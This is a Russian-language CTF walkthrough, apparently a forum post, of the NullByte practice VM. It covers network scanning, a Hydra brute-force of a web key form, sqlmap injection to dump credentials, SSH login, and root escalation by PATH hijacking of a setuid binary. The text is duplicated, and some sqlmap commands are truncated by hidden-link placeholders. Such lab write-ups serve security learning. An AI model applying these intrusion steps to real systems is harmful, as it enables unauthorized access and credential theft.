Всем привет! В этой статье я опишу взлом уязвимой машины в рамках соревнований CTF.
Называется она NullByte VM (CTF Challenge) Для начала скачаем образ виртуальной машины отсюда =>
В качестве атакуемой машины, мной будет использоваться Kali Linux 2016.1 Rolling.
Начнем как обычно со сканирования своей сети, дабы обнаружить NullByte.
> arp-scan 192.168.0.1/16
В моем случае целевой хост имеет адрес 192.168.0.109.
Так же по традиции, запустим nmap в режиме агрессивного сканирования.
> nmap –A 192.168.0.109
Видим информацию о трех открытых портах, если с 777 и 80 все предельно ясно, а вот назначение 111 мне пока не ясно, возможно вернемся к нему позже.
Пока попробуем посмотреть, что же находится на 80 порту, зайдем на сервер по адресу 192.169.0.109:80.
Замечательная картинка и все… Пока ничего не ясно. Есть вариант посмотреть метаданные, так как они точно есть, это видно в исходном коде элемента. Перепробовав несколько онлайн сервисов, результата я не получил, виной тому формат .gif. Изрядно погуглив, я вышел на утилитку exiftool, которую можно установить в Kali Linux.
> apt-get install exiftool
Теперь можем просмотреть метаданные.
> exiftool main.gif
Строка Comment содержит явную подказку, сразу скажу – это директория, до этого я много пытался с ней сделать. Зайдем на сервер по адресу:
> 192.168.0.109/kzMb5nVYjw
Ключа у нас нет, но есть Hydra, ей и воспользуемся. Будем брутить эту форму входа. Для этого в терминале вводим следующую команду:
> hydra 192.168.56.109 http-form-post "/kzMb5nVYJw/index.php:key=^PASS^:invalid key" -l x -P /usr/share/dict/words -t 10 -w 30
Дожидаемся окончания работы Гидры и получаем искомый пароль – elite. Используем его для входа на страницу.
Теперь у нас спрашивают имя пользователя, так как никакой информацией мы не располагаем, попробуем подключить к работе sqlmap.
> sqlmap –u
Выполнение этого действия дало нам информацию о 5 найденных базах.
Нас же интересует – seth. Попробуем выжать больше информации следующей командой:
> sqlmap –u
Теперь у нас есть имя пользователя и хэш пароля.
Хэш отнесем на любой понравившийся вам онлайн расшифровщик. Но перед этим приведем его в вид base64.
> echo "YzZkNmJkN2ViZjgwNmY0M2M3NmFjYzM2ODE3MDNiODE=" | base64 –d
Теперь у нас на руках есть учетные данные одного пользователя.
Пароль – omega, логин – ramses. Попробуем эту связку при попытке доступа по SSH.
> ssh ramses@192.168.0.109 –p 777
В результате получаем открытую сессию SSH.
По итогам осмотра содержимого, интересным показался файл procwatch, находящийся в каталоге /var/www/backup. Запустив его, мы видим, что он вызывает список процессов.
Если нам удастся изменить путь файла для ps на sh, то мы сможем добраться до корневого каталога. Для выполнения этой задачи вводим следующие команды:
> cd /tmp
> cp /bin/sh /tmp/ps
> export PATH=/tmp:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
> cd /var/www/backup
> ./procwatch
> whoami
Цель достигнута, мы root, далее выполняем:
> cd /root
> ls –a
> cat proof.txt
На этом прохождение Null Byte можно считать законченным. Спасибо за внимание.
Называется она NullByte VM (CTF Challenge) Для начала скачаем образ виртуальной машины отсюда =>
Ссылка скрыта от гостей
. Затем импортируем его, например, в VMware.В качестве атакуемой машины, мной будет использоваться Kali Linux 2016.1 Rolling.
Начнем как обычно со сканирования своей сети, дабы обнаружить NullByte.
> arp-scan 192.168.0.1/16
В моем случае целевой хост имеет адрес 192.168.0.109.
Так же по традиции, запустим nmap в режиме агрессивного сканирования.
> nmap –A 192.168.0.109
Видим информацию о трех открытых портах, если с 777 и 80 все предельно ясно, а вот назначение 111 мне пока не ясно, возможно вернемся к нему позже.
Пока попробуем посмотреть, что же находится на 80 порту, зайдем на сервер по адресу 192.169.0.109:80.
Замечательная картинка и все… Пока ничего не ясно. Есть вариант посмотреть метаданные, так как они точно есть, это видно в исходном коде элемента. Перепробовав несколько онлайн сервисов, результата я не получил, виной тому формат .gif. Изрядно погуглив, я вышел на утилитку exiftool, которую можно установить в Kali Linux.
> apt-get install exiftool
Теперь можем просмотреть метаданные.
> exiftool main.gif
Строка Comment содержит явную подказку, сразу скажу – это директория, до этого я много пытался с ней сделать. Зайдем на сервер по адресу:
> 192.168.0.109/kzMb5nVYjw
Ключа у нас нет, но есть Hydra, ей и воспользуемся. Будем брутить эту форму входа. Для этого в терминале вводим следующую команду:
> hydra 192.168.56.109 http-form-post "/kzMb5nVYJw/index.php:key=^PASS^:invalid key" -l x -P /usr/share/dict/words -t 10 -w 30
Дожидаемся окончания работы Гидры и получаем искомый пароль – elite. Используем его для входа на страницу.
Теперь у нас спрашивают имя пользователя, так как никакой информацией мы не располагаем, попробуем подключить к работе sqlmap.
> sqlmap –u
Ссылка скрыта от гостей
–dbsВыполнение этого действия дало нам информацию о 5 найденных базах.
Нас же интересует – seth. Попробуем выжать больше информации следующей командой:
> sqlmap –u
Ссылка скрыта от гостей
–dump –columns –tables –D sethТеперь у нас есть имя пользователя и хэш пароля.
Хэш отнесем на любой понравившийся вам онлайн расшифровщик. Но перед этим приведем его в вид base64.
> echo "YzZkNmJkN2ViZjgwNmY0M2M3NmFjYzM2ODE3MDNiODE=" | base64 –d
Теперь у нас на руках есть учетные данные одного пользователя.
Пароль – omega, логин – ramses. Попробуем эту связку при попытке доступа по SSH.
> ssh ramses@192.168.0.109 –p 777
В результате получаем открытую сессию SSH.
По итогам осмотра содержимого, интересным показался файл procwatch, находящийся в каталоге /var/www/backup. Запустив его, мы видим, что он вызывает список процессов.
Если нам удастся изменить путь файла для ps на sh, то мы сможем добраться до корневого каталога. Для выполнения этой задачи вводим следующие команды:
> cd /tmp
> cp /bin/sh /tmp/ps
> export PATH=/tmp:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
> cd /var/www/backup
> ./procwatch
> whoami
Цель достигнута, мы root, далее выполняем:
> cd /root
> ls –a
> cat proof.txt
На этом прохождение Null Byte можно считать законченным. Спасибо за внимание.